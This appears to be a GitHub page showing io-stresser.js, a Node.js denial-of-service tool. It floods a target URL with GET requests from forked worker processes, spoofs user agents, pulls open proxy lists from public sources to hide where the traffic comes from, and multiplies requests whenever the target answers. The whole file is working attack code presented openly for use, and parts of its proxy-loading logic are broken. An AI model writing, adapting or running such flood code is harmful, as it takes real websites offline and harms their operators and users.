-
Notifications
You must be signed in to change notification settings - Fork 18
/
Copy pathio-stresser.js
110 lines (110 loc) · 4.54 KB
/
io-stresser.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
require('events').EventEmitter.defaultMaxListeners = 0;
const request = require('request'),
axios = require("axios"),
fs = require('fs'),
fakeUa = require('fake-useragent'),
cluster = require('cluster');
async function main_process() {
if (process.argv.length !== 6) {
console.log(` < CREATE BY IO-STRESSER AND WEARERAINBOWHAT >
Usage: node io-stresser.js <URL> <TIME> <TREADS> <bypass/proxy/proxy.txt>`);
process.exit(0);
}else{
const target = process.argv[2];
const times = process.argv[3];
const threads = process.argv[4];
Array.prototype.remove_by_value = function(val) {
for (var i = 0; i < this.length; i++) {
if (this[i] === val) {
this.splice(i, 1);
i--;
}
}
return this;
}
if (process.argv[5] == 'bypass') {
console.log("ATTACK BYPASS")
} else if (process.argv[5] == 'proxy'){
console.log("ATTACK HTTP_PROXY")
const proxyscrape_http = await axios.get('https://api.proxyscrape.com/v2/?request=getproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all');
const proxy_list_http = await axios.get('https://www.proxy-list.download/api/v1/get?type=http');
const raw_github_http = await axios.get('https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt');
var proxies = proxyscrape_http.data.replace(/\r/g, '').split('\n');
var proxies = proxy_list_http.data.replace(/\r/g, '').split('\n');
var proxies = raw_github_http.data.replace(/\r/g, '').split('\n');
} else {
console.log("ATTACK HTTP_PROXY")
var proxies = fs.readFileSync(process.argv[5], 'utf-8').replace(/\r/g, '').split('\n');
var proxies = proxyscrape_http.data.replace(/\r/g, '').split('\n');
var proxies = proxy_list_http.data.replace(/\r/g, '').split('\n');
var proxies = raw_github_http.data.replace(/\r/g, '').split('\n');
}
function run() {
if (process.argv[5] !== 'bypass') {
var proxy = proxies[Math.floor(Math.random() * proxies.length)];
var proxiedRequest = request.defaults({'proxy': 'http://'+proxy});
var config = {
method: 'get',
url: target,
headers: {
'Cache-Control': 'no-cache',
'User-Agent': fakeUa()
}
};
proxiedRequest(config, function (error, response) {
console.log(response.statusCode,"HTTP_PROXY");
if (proxies.length == 0) {
process.exit(0);
}
if (response.statusCode >= 200 && response.statusCode <= 226) {
for (let index = 0; index < 100; index++) {
proxiedRequest(config);
}
}else{
proxies = proxies.remove_by_value(proxy)
}
});
} else {
var config = {
method: 'get',
url: target,
headers: {
'Cache-Control': 'no-cache',
'User-Agent': fakeUa()
}
};
request(config, function (error, response) {
console.log(response.statusCode,"HTTP_RAW");
});
}
}
function thread(){
setInterval(() => {
run();
});
}
async function main(){
if (cluster.isMaster) {
for (let i = 0; i < threads; i++) {
cluster.fork();
console.log(`IO-STRESSER TREADS: ${i+1}`);
}
cluster.on('exit', function(){
cluster.fork();
});
} else {
thread();
}
}
main();
setTimeout(() => {
console.log('Attack End');
process.exit(0)
},times * 1000);
}
}
process.on('uncaughtException', function (err) {
});
process.on('unhandledRejection', function (err) {
});
main_process();